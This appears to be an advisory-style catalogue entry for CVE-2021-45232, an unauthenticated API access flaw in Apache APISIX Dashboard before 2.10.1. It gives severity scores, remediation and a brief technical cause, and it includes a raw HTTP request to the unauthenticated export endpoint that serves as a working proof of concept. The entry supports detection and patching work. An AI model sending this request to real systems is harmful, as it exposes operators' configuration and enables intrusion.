| Title | Apache APISIX Dashboard <2.10.1 - API Unauthorized Access |
|---|---|
| Author | Mr-xn |
| Severity | Critical |
| Impact | An attacker can gain unauthorized access to the API, potentially leading to data breaches or unauthorized actions. |
| Remediation | Upgrade to release 2.10.1 or later. Or, change the default username and password, and restrict the source IP to access the Apache APISIX Dashboard. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93877 |
| CVE ID | CVE-2021-45232 |
| CWE ID | CWE-306 |
| Tags | cve2021 cve apache unauth apisix vuln |
In Apache APISIX Dashboard before 2.10.1, the Manager API uses two frameworks and introduces framework droplet on the basis of framework gin.' While all APIs and authentication middleware are developed based on framework droplet, some API directly use the interface of framework gin` thus bypassing their authentication.
GET /admin/migrate/export HTTP/1.1
Host: apisix
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-45232.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-45232.pcap
N/AN/A